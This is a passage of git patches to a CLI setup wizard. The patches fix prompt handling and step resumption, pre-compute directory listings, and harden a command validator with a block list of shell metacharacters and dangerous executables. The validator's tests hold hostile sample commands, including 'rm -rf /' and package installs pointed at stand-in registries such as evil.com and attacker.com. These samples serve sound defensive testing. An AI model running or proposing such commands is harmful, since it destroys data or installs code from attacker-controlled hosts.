"./clack-utils.js"; import { MASTRA_API_URL, diff --git a/test/commands/init.test.ts b/test/commands/init.test.ts index 06d0812f..dd5f2613 100644 --- a/test/commands/init.test.ts +++ b/test/commands/init.test.ts @@ -7,9 +7,9 @@ import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; import path from "node:path"; +import { initCommand } from "../../src/commands/init.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as wizardRunner from "../../src/lib/init/wizard-runner.js"; -import { initCommand } from "../../src/commands/init.js"; // ── Spy on runWizard to capture call args ───────────────────────────────── let capturedArgs: Record | undefined; diff --git a/test/lib/help.test.ts b/test/lib/help.test.ts index b6d9f605..498ad598 100644 --- a/test/lib/help.test.ts +++ b/test/lib/help.test.ts @@ -6,7 +6,8 @@ */ import { describe, expect, test } from "bun:test"; -import { formatBanner, printCustomHelp } from "../../src/lib/help.js"; +import { formatBanner } from "../../src/lib/banner.js"; +import { printCustomHelp } from "../../src/lib/help.js"; import { useTestConfigDir } from "../helpers.js"; /** Strip ANSI escape sequences for content assertions */ diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index eb203651..45ae6f33 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -19,10 +19,10 @@ import { import * as clack from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as auth from "../../../src/lib/db/auth.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as banner from "../../../src/lib/banner.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as auth from "../../../src/lib/db/auth.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as fmt from "../../../src/lib/init/formatters.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as inter from "../../../src/lib/init/interactive.js"; @@ -379,9 +379,7 @@ describe("runWizard", () => { }); test("non-WizardCancelledError in catch triggers log.error + cancel", async () => { - handleLocalOpSpy.mockImplementation(() => - Promise.reject("string error") - ); + handleLocalOpSpy.mockImplementation(() => Promise.reject("string error")); mockStartResult = { status: "suspended", From bc4ca1dc697e4313bfcb91d305d061edbab33c0f Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 13:21:53 +0100 Subject: [PATCH 54/72] fix: address PR review issues in interactive and local-ops - Guard against empty multiselect options when only errorMonitoring is available - Use purpose field for example detection in handleConfirm with string fallback - Block glob (*, ?) and brace ({, }) expansion in shell metacharacter validation - Improve metacharacter ordering docs and add Unix shell scope comment Co-Authored-By: Claude Opus 4.6 --- src/lib/init/interactive.ts | 14 ++++++-- src/lib/init/local-ops.ts | 14 +++++++- test/lib/init/interactive.test.ts | 58 +++++++++++++++++++++++++++++++ test/lib/init/local-ops.test.ts | 10 ++++++ 4 files changed, 93 insertions(+), 3 deletions(-) diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 6fe9013c..25cd671f 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -96,6 +96,13 @@ async function handleMultiSelect( const optional = available.filter((f) => f !== REQUIRED_FEATURE); + if (optional.length === 0) { + if (hasRequired) { + log.info(`${featureLabel(REQUIRED_FEATURE)} is always included.`); + } + return { features: hasRequired ? [REQUIRED_FEATURE] : [] }; + } + const hints: string[] = []; if (hasRequired) { hints.push( @@ -127,8 +134,11 @@ async function handleConfirm( payload: InteractivePayload, options: WizardOptions ): Promise> { + const isExample = + payload.purpose === "add-example" || payload.prompt.includes("example"); + if (options.yes) { - if (payload.prompt.includes("example")) { + if (isExample) { log.info("Auto-confirmed: adding example trigger"); return { addExample: true }; } @@ -143,7 +153,7 @@ async function handleConfirm( const value = abortIfCancelled(confirmed); - if (payload.prompt.includes("example")) { + if (isExample) { return { addExample: value }; } return { action: value ? "continue" : "stop" }; diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 016fd9fe..3081d87a 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -27,11 +27,15 @@ import type { /** * Shell metacharacters that enable chaining, piping, substitution, or redirection. * All legitimate install commands are simple single commands that don't need these. + * + * Ordering matters for error-message accuracy (not correctness): multi-character + * operators like `&&` and `||` are checked before their single-character prefixes + * (`&`, `|`) so the reported label describes the actual construct the user wrote. */ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ { pattern: ";", label: "command chaining (;)" }, - // Check multi-char operators before single `|` so labels are accurate + // Check multi-char operators before single `|` / `&` so labels are accurate { pattern: "&&", label: "command chaining (&&)" }, { pattern: "||", label: "command chaining (||)" }, { pattern: "|", label: "piping (|)" }, @@ -48,6 +52,12 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: ">", label: "redirection (>)" }, { pattern: "<", label: "redirection (<)" }, { pattern: "&", label: "background execution (&)" }, + // Glob and brace expansion — brace expansion is the real risk + // (e.g. `npm install {evil,@sentry/node}`) + { pattern: "{", label: "brace expansion ({)" }, + { pattern: "}", label: "brace expansion (})" }, + { pattern: "*", label: "glob expansion (*)" }, + { pattern: "?", label: "glob expansion (?)" }, ]; const WHITESPACE_RE = /\s+/; @@ -336,6 +346,8 @@ async function runCommands( return { ok: true, data: { results } }; } +// Note: shell: true targets Unix shells. Windows cmd.exe metacharacters +// (%, ^) are not blocked; the CLI assumes a Unix Node.js environment. function runSingleCommand( command: string, cwd: string, diff --git a/test/lib/init/interactive.test.ts b/test/lib/init/interactive.test.ts index e0943f72..258ae2b5 100644 --- a/test/lib/init/interactive.test.ts +++ b/test/lib/init/interactive.test.ts @@ -252,6 +252,21 @@ describe("handleMultiSelect", () => { ).rejects.toThrow("Setup cancelled"); }); + test("returns required feature without calling multiselect when only errorMonitoring available", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring"], + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ features: ["errorMonitoring"] }); + expect(multiselectSpy).not.toHaveBeenCalled(); + }); + test("excludes errorMonitoring from multiselect options (always included)", async () => { multiselectSpy.mockImplementation( () => Promise.resolve(["performanceMonitoring"]) as any @@ -336,6 +351,49 @@ describe("handleConfirm", () => { ).rejects.toThrow("Setup cancelled"); }); + test("returns addExample: true via purpose field with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Would you like to add a trigger?", + kind: "confirm", + purpose: "add-example", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ addExample: true }); + }); + + test("returns addExample via purpose field in interactive mode", async () => { + confirmSpy.mockImplementation(() => Promise.resolve(false) as any); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Would you like to add a trigger?", + kind: "confirm", + purpose: "add-example", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ addExample: false }); + }); + + test("falls back to prompt string match when no purpose field", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Add an example error trigger?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ addExample: true }); + }); + test("returns action: stop when user declines non-example prompt", async () => { confirmSpy.mockImplementation(() => Promise.resolve(false) as any); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 92ebc1b7..0f0cf465 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -86,6 +86,16 @@ describe("validateCommand", () => { } }); + test("blocks glob and brace expansion characters", () => { + for (const cmd of [ + "npm install {evil,@sentry/node}", + "npm install sentry-*", + "npm install sentry-?.js", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + test("blocks dangerous executables", () => { for (const cmd of [ "rm -rf /", From 6ffca44cdfd2cba37a2e23fc114a2b5287d9dcae Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 13:46:34 +0100 Subject: [PATCH 55/72] fix: block env var injection in commands and fix resume step ID mismatch Block `VAR=value cmd` patterns in validateCommand to prevent environment variable injection (e.g. npm_config_registry=evil.com). Fix extractSuspendPayload to return the actual step key found during fallback iteration, so resumeAsync receives the correct step ID. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 7 ++++++- src/lib/init/wizard-runner.ts | 16 ++++++++-------- test/isolated/init-wizard-runner.test.ts | 22 +++++++++++++++------- test/lib/init/local-ops.test.ts | 10 ++++++++++ test/lib/init/wizard-runner.test.ts | 17 +++++++++++++---- 5 files changed, 52 insertions(+), 20 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 3081d87a..9f78b460 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -131,11 +131,16 @@ export function validateCommand(command: string): string | undefined { } } - // Layer 2: Block dangerous executables + // Layer 2: Block environment variable injection (VAR=value cmd) const firstToken = command.trimStart().split(WHITESPACE_RE)[0]; if (!firstToken) { return "Blocked command: empty command"; } + if (firstToken.includes("=")) { + return `Blocked command: contains environment variable assignment — "${command}"`; + } + + // Layer 3: Block dangerous executables const executable = path.basename(firstToken); if (BLOCKED_EXECUTABLES.has(executable)) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index a0814b1e..689e7ad4 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -174,8 +174,8 @@ export async function runWizard(options: WizardOptions): Promise { const stepPath = result.suspended?.at(0) ?? []; const stepId: string = stepPath.at(-1) ?? "unknown"; - const payload = extractSuspendPayload(result, stepId); - if (!payload) { + const extracted = extractSuspendPayload(result, stepId); + if (!extracted) { spin.stop("Error", 1); log.error(`No suspend payload found for step "${stepId}"`); cancel("Setup failed"); @@ -184,12 +184,12 @@ export async function runWizard(options: WizardOptions): Promise { } const resumeData = await handleSuspendedStep( - { payload, stepId, spin, options }, + { payload: extracted.payload, stepId: extracted.stepId, spin, options }, stepPhases ); result = (await run.resumeAsync({ - step: stepId, + step: extracted.stepId, resumeData, tracingOptions, })) as WorkflowRunResult; @@ -227,20 +227,20 @@ function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { function extractSuspendPayload( result: WorkflowRunResult, stepId: string -): unknown | undefined { +): { payload: unknown; stepId: string } | undefined { const stepPayload = result.steps?.[stepId]?.suspendPayload; if (stepPayload) { - return stepPayload; + return { payload: stepPayload, stepId }; } if (result.suspendPayload) { - return result.suspendPayload; + return { payload: result.suspendPayload, stepId }; } for (const key of Object.keys(result.steps ?? {})) { const step = result.steps?.[key]; if (step?.suspendPayload) { - return step.suspendPayload; + return { payload: step.suspendPayload, stepId: key }; } } diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 707b7426..2b7f739c 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -74,6 +74,14 @@ let mockResumeResults: WorkflowRunResult[] = []; let resumeCallCount = 0; let startShouldThrow = false; +const mockResumeAsync = mock(() => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); +}); + mock.module("@mastra/client-js", () => ({ MastraClient: class { getWorkflow() { @@ -86,13 +94,7 @@ mock.module("@mastra/client-js", () => ({ } return Promise.resolve(mockStartResult); }, - resumeAsync: () => { - const result = mockResumeResults[resumeCallCount] ?? { - status: "success", - }; - resumeCallCount += 1; - return Promise.resolve(result); - }, + resumeAsync: mockResumeAsync, }), }; } @@ -129,6 +131,7 @@ function resetAllMocks() { mockResumeResults = []; resumeCallCount = 0; startShouldThrow = false; + mockResumeAsync.mockClear(); process.exitCode = 0; } @@ -408,6 +411,11 @@ describe("runWizard", () => { await runWizard(makeOptions()); expect(mockHandleLocalOp).toHaveBeenCalled(); + // resumeAsync should be called with the actual key ("step-b"), not the + // original stepId ("step-a") from result.suspended + expect(mockResumeAsync).toHaveBeenCalledWith( + expect.objectContaining({ step: "step-b" }) + ); }); test("handles missing suspend payload", async () => { diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 0f0cf465..c4aa39ef 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -96,6 +96,16 @@ describe("validateCommand", () => { } }); + test("blocks environment variable injection in first token", () => { + for (const cmd of [ + "npm_config_registry=http://evil.com npm install @sentry/node", + "PIP_INDEX_URL=https://attacker.com/simple pip install sentry-sdk", + "NODE_ENV=production npm install", + ]) { + expect(validateCommand(cmd)).toContain("environment variable assignment"); + } + }); + test("blocks dangerous executables", () => { for (const cmd of [ "rm -rf /", diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index 45ae6f33..e12348b5 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -79,6 +79,10 @@ let stderrSpy: ReturnType; let mockStartResult: WorkflowRunResult; let mockResumeResults: WorkflowRunResult[]; let resumeCallCount: number; +let mockRun: { + startAsync: ReturnType; + resumeAsync: ReturnType; +}; const spinnerMock = { start: mock(), @@ -87,7 +91,7 @@ const spinnerMock = { }; function setupWorkflowSpy() { - const mockRun = { + mockRun = { startAsync: mock(() => Promise.resolve(mockStartResult)), resumeAsync: mock(() => { const result = mockResumeResults[resumeCallCount] ?? { @@ -106,7 +110,7 @@ function setupWorkflowSpy() { mockWorkflow as any ); - return { mockRun, mockWorkflow }; + return { mockWorkflow }; } // ── Setup / Teardown ──────────────────────────────────────────────────────── @@ -211,12 +215,12 @@ describe("runWizard", () => { describe("connection error", () => { test("handles startAsync rejection gracefully", async () => { - const mockRun = { + const failingRun = { startAsync: mock(() => Promise.reject(new Error("Connection refused"))), resumeAsync: mock(), }; const mockWorkflow = { - createRun: mock(() => Promise.resolve(mockRun)), + createRun: mock(() => Promise.resolve(failingRun)), }; getWorkflowSpy.mockReturnValue(mockWorkflow as any); @@ -442,6 +446,11 @@ describe("runWizard", () => { await runWizard(makeOptions()); expect(handleLocalOpSpy).toHaveBeenCalled(); + // resumeAsync should be called with the actual key ("step-b"), not the + // original stepId ("step-a") from result.suspended + expect(mockRun.resumeAsync).toHaveBeenCalledWith( + expect.objectContaining({ step: "step-b" }) + ); }); test("handles multiple suspend/resume iterations", async () => { From aa0414852573feb05fbe82fd53e8475dd8f6f065 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 17:16:42 +0100 Subject: [PATCH 56/72] refactor: add DirEntry type and precomputeDirListing returning DirEntry[] directly Extract inline entry shape into a named DirEntry type and add precomputeDirListing() that returns DirEntry[] instead of LocalOpResult, so callers get the entries array directly without type assertions. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 17 ++++++++--- src/lib/init/types.ts | 6 ++++ src/lib/init/wizard-runner.ts | 9 ++++-- test/lib/init/local-ops.test.ts | 47 +++++++++++++++++++++++++++++ test/lib/init/wizard-runner.test.ts | 5 +++ 5 files changed, 76 insertions(+), 8 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 9f78b460..6c1ed781 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -15,6 +15,7 @@ import { } from "./constants.js"; import type { ApplyPatchsetPayload, + DirEntry, FileExistsBatchPayload, ListDirPayload, LocalOpPayload, @@ -218,11 +219,7 @@ function listDir(payload: ListDirPayload): LocalOpResult { const maxEntries = params.maxEntries ?? 500; const recursive = params.recursive ?? false; - const entries: Array<{ - name: string; - path: string; - type: "file" | "directory"; - }> = []; + const entries: DirEntry[] = []; // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation function walk(dir: string, depth: number): void { @@ -470,3 +467,13 @@ function applyPatchset( return { ok: true, data: { applied } }; } + +export function precomputeDirListing(directory: string): DirEntry[] { + const result = listDir({ + type: "local-op", + operation: "list-dir", + cwd: directory, + params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, + }); + return (result.data as { entries?: DirEntry[] })?.entries ?? []; +} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index d44f7278..66dcb94b 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,3 +1,9 @@ +export type DirEntry = { + name: string; + path: string; + type: "file" | "directory"; +}; + export type WizardOptions = { directory: string; force: boolean; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 689e7ad4..695ed315 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -21,7 +21,7 @@ import { } from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; -import { handleLocalOp } from "./local-ops.js"; +import { handleLocalOp, precomputeDirListing } from "./local-ops.js"; import type { InteractivePayload, LocalOpPayload, @@ -150,13 +150,16 @@ export async function runWizard(options: WizardOptions): Promise { const spin = spinner(); + spin.start("Scanning project..."); + const dirListing = precomputeDirListing(directory); + let run: Awaited>; let result: WorkflowRunResult; try { - spin.start("Connecting to wizard..."); + spin.message("Connecting to wizard..."); run = await workflow.createRun(); result = (await run.startAsync({ - inputData: { directory, force, yes, dryRun, features }, + inputData: { directory, force, yes, dryRun, features, dirListing }, tracingOptions, })) as WorkflowRunResult; } catch (err) { diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index c4aa39ef..e1768004 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -3,6 +3,7 @@ import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { handleLocalOp, + precomputeDirListing, validateCommand, } from "../../../src/lib/init/local-ops.js"; import type { @@ -768,3 +769,49 @@ describe("handleLocalOp", () => { }); }); }); + +describe("precomputeDirListing", () => { + let testDir: string; + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "precompute-test-")); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + test("returns DirEntry[] directly", () => { + writeFileSync(join(testDir, "app.ts"), "x"); + mkdirSync(join(testDir, "src")); + + const entries = precomputeDirListing(testDir); + + expect(Array.isArray(entries)).toBe(true); + expect(entries.length).toBeGreaterThanOrEqual(2); + + const names = entries.map((e) => e.name).sort(); + expect(names).toContain("app.ts"); + expect(names).toContain("src"); + + const file = entries.find((e) => e.name === "app.ts"); + expect(file?.type).toBe("file"); + + const dir = entries.find((e) => e.name === "src"); + expect(dir?.type).toBe("directory"); + }); + + test("returns empty array for non-existent directory", () => { + const entries = precomputeDirListing(join(testDir, "nope")); + expect(entries).toEqual([]); + }); + + test("recursively lists nested entries", () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.ts"), "x"); + + const entries = precomputeDirListing(testDir); + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.ts")); + }); +}); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index e12348b5..7a911a55 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -66,6 +66,7 @@ let formatBannerSpy: ReturnType; let formatResultSpy: ReturnType; let formatErrorSpy: ReturnType; let handleLocalOpSpy: ReturnType; +let precomputeDirListingSpy: ReturnType; let handleInteractiveSpy: ReturnType; // MastraClient @@ -143,6 +144,9 @@ beforeEach(() => { ok: true, data: { results: [] }, }); + precomputeDirListingSpy = spyOn(ops, "precomputeDirListing").mockReturnValue( + [] + ); handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ action: "continue", }); @@ -169,6 +173,7 @@ afterEach(() => { formatResultSpy.mockRestore(); formatErrorSpy.mockRestore(); handleLocalOpSpy.mockRestore(); + precomputeDirListingSpy.mockRestore(); handleInteractiveSpy.mockRestore(); stderrSpy.mockRestore(); From d1b5fc80738c8941b77fc43a2b9c2029e14d19b2 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 17:23:21 +0100 Subject: [PATCH 57/72] Revert "refactor: add DirEntry type and precomputeDirListing returning DirEntry[] directly" This reverts commit aa0414852573feb05fbe82fd53e8475dd8f6f065. --- src/lib/init/local-ops.ts | 17 +++-------- src/lib/init/types.ts | 6 ---- src/lib/init/wizard-runner.ts | 9 ++---- test/lib/init/local-ops.test.ts | 47 ----------------------------- test/lib/init/wizard-runner.test.ts | 5 --- 5 files changed, 8 insertions(+), 76 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 6c1ed781..9f78b460 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -15,7 +15,6 @@ import { } from "./constants.js"; import type { ApplyPatchsetPayload, - DirEntry, FileExistsBatchPayload, ListDirPayload, LocalOpPayload, @@ -219,7 +218,11 @@ function listDir(payload: ListDirPayload): LocalOpResult { const maxEntries = params.maxEntries ?? 500; const recursive = params.recursive ?? false; - const entries: DirEntry[] = []; + const entries: Array<{ + name: string; + path: string; + type: "file" | "directory"; + }> = []; // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation function walk(dir: string, depth: number): void { @@ -467,13 +470,3 @@ function applyPatchset( return { ok: true, data: { applied } }; } - -export function precomputeDirListing(directory: string): DirEntry[] { - const result = listDir({ - type: "local-op", - operation: "list-dir", - cwd: directory, - params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, - }); - return (result.data as { entries?: DirEntry[] })?.entries ?? []; -} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 66dcb94b..d44f7278 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,9 +1,3 @@ -export type DirEntry = { - name: string; - path: string; - type: "file" | "directory"; -}; - export type WizardOptions = { directory: string; force: boolean; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 695ed315..689e7ad4 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -21,7 +21,7 @@ import { } from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; -import { handleLocalOp, precomputeDirListing } from "./local-ops.js"; +import { handleLocalOp } from "./local-ops.js"; import type { InteractivePayload, LocalOpPayload, @@ -150,16 +150,13 @@ export async function runWizard(options: WizardOptions): Promise { const spin = spinner(); - spin.start("Scanning project..."); - const dirListing = precomputeDirListing(directory); - let run: Awaited>; let result: WorkflowRunResult; try { - spin.message("Connecting to wizard..."); + spin.start("Connecting to wizard..."); run = await workflow.createRun(); result = (await run.startAsync({ - inputData: { directory, force, yes, dryRun, features, dirListing }, + inputData: { directory, force, yes, dryRun, features }, tracingOptions, })) as WorkflowRunResult; } catch (err) { diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index e1768004..c4aa39ef 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -3,7 +3,6 @@ import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { handleLocalOp, - precomputeDirListing, validateCommand, } from "../../../src/lib/init/local-ops.js"; import type { @@ -769,49 +768,3 @@ describe("handleLocalOp", () => { }); }); }); - -describe("precomputeDirListing", () => { - let testDir: string; - - beforeEach(() => { - testDir = mkdtempSync(join("/tmp", "precompute-test-")); - }); - - afterEach(() => { - rmSync(testDir, { recursive: true, force: true }); - }); - - test("returns DirEntry[] directly", () => { - writeFileSync(join(testDir, "app.ts"), "x"); - mkdirSync(join(testDir, "src")); - - const entries = precomputeDirListing(testDir); - - expect(Array.isArray(entries)).toBe(true); - expect(entries.length).toBeGreaterThanOrEqual(2); - - const names = entries.map((e) => e.name).sort(); - expect(names).toContain("app.ts"); - expect(names).toContain("src"); - - const file = entries.find((e) => e.name === "app.ts"); - expect(file?.type).toBe("file"); - - const dir = entries.find((e) => e.name === "src"); - expect(dir?.type).toBe("directory"); - }); - - test("returns empty array for non-existent directory", () => { - const entries = precomputeDirListing(join(testDir, "nope")); - expect(entries).toEqual([]); - }); - - test("recursively lists nested entries", () => { - mkdirSync(join(testDir, "a")); - writeFileSync(join(testDir, "a", "nested.ts"), "x"); - - const entries = precomputeDirListing(testDir); - const paths = entries.map((e) => e.path); - expect(paths).toContain(join("a", "nested.ts")); - }); -}); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index 7a911a55..e12348b5 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -66,7 +66,6 @@ let formatBannerSpy: ReturnType; let formatResultSpy: ReturnType; let formatErrorSpy: ReturnType; let handleLocalOpSpy: ReturnType; -let precomputeDirListingSpy: ReturnType; let handleInteractiveSpy: ReturnType; // MastraClient @@ -144,9 +143,6 @@ beforeEach(() => { ok: true, data: { results: [] }, }); - precomputeDirListingSpy = spyOn(ops, "precomputeDirListing").mockReturnValue( - [] - ); handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ action: "continue", }); @@ -173,7 +169,6 @@ afterEach(() => { formatResultSpy.mockRestore(); formatErrorSpy.mockRestore(); handleLocalOpSpy.mockRestore(); - precomputeDirListingSpy.mockRestore(); handleInteractiveSpy.mockRestore(); stderrSpy.mockRestore(); From 5313a926de7cc0899de91b7b055e47a2360da3dc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miguel=20Beteg=C3=B3n?= Date: Tue, 3 Mar 2026 18:20:24 +0100 Subject: [PATCH 58/72] perf(init): pre-compute dir listing and send _prevPhases for cross-phase caching (#307) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Summary Two optimizations to reduce round-trips during the init wizard: 1. **Pre-computed directory listing** — sends a pre-computed directory listing with the first API call so the server can skip its initial `list-dir` suspend. Saves one full HTTP round-trip in the `discover-context` step. 2. **`_prevPhases` for cross-phase caching** — tracks per-step result history (`stepHistory`) and sends `_prevPhases` with each resume payload. This lets the server reuse results from earlier phases (e.g. the `read-files` phase can reuse data from `analyze`) without re-requesting them. ## Changes - Exports `precomputeDirListing` from `local-ops.ts` — reuses the existing `listDir` function with the same params the server would request (recursive, maxDepth 3, maxEntries 500). The wizard runner calls it before `startAsync` and includes the result as `dirListing` in `inputData`. - Adds a `stepHistory` map to track accumulated local-op results per step. Each resume payload now includes `_prevPhases` containing results from prior phases of the same step. Companion server change: getsentry/cli-init-api#16 ## Test plan - [x] Init tests pass (`bun test test/lib/init/`) - [x] Lint passes - [ ] End-to-end with local dev server 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 21 ++++++++--- src/lib/init/types.ts | 6 +++ src/lib/init/wizard-runner.ts | 21 ++++++++--- test/isolated/init-wizard-runner.test.ts | 1 + test/lib/init/local-ops.test.ts | 47 ++++++++++++++++++++++++ test/lib/init/wizard-runner.test.ts | 5 +++ 6 files changed, 91 insertions(+), 10 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 9f78b460..bcc9da81 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -15,6 +15,7 @@ import { } from "./constants.js"; import type { ApplyPatchsetPayload, + DirEntry, FileExistsBatchPayload, ListDirPayload, LocalOpPayload, @@ -165,6 +166,20 @@ function safePath(cwd: string, relative: string): string { return resolved; } +/** + * Pre-compute directory listing before the first API call. + * Uses the same parameters the server's discover-context step would request. + */ +export function precomputeDirListing(directory: string): DirEntry[] { + const result = listDir({ + type: "local-op", + operation: "list-dir", + cwd: directory, + params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, + }); + return (result.data as { entries?: DirEntry[] })?.entries ?? []; +} + export async function handleLocalOp( payload: LocalOpPayload, options: WizardOptions @@ -218,11 +233,7 @@ function listDir(payload: ListDirPayload): LocalOpResult { const maxEntries = params.maxEntries ?? 500; const recursive = params.recursive ?? false; - const entries: Array<{ - name: string; - path: string; - type: "file" | "directory"; - }> = []; + const entries: DirEntry[] = []; // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation function walk(dir: string, depth: number): void { diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index d44f7278..66dcb94b 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,3 +1,9 @@ +export type DirEntry = { + name: string; + path: string; + type: "file" | "directory"; +}; + export type WizardOptions = { directory: string; force: boolean; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 689e7ad4..358a8e91 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -21,7 +21,7 @@ import { } from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; -import { handleLocalOp } from "./local-ops.js"; +import { handleLocalOp, precomputeDirListing } from "./local-ops.js"; import type { InteractivePayload, LocalOpPayload, @@ -50,7 +50,8 @@ function nextPhase( async function handleSuspendedStep( ctx: StepContext, - stepPhases: Map + stepPhases: Map, + stepHistory: Map[]> ): Promise> { const { payload, stepId, spin, options } = ctx; const { type: payloadType, operation } = payload as { @@ -65,9 +66,14 @@ async function handleSuspendedStep( const localResult = await handleLocalOp(payload as LocalOpPayload, options); + const history = stepHistory.get(stepId) ?? []; + history.push(localResult); + stepHistory.set(stepId, history); + return { ...localResult, _phase: nextPhase(stepPhases, stepId, ["read-files", "analyze", "done"]), + 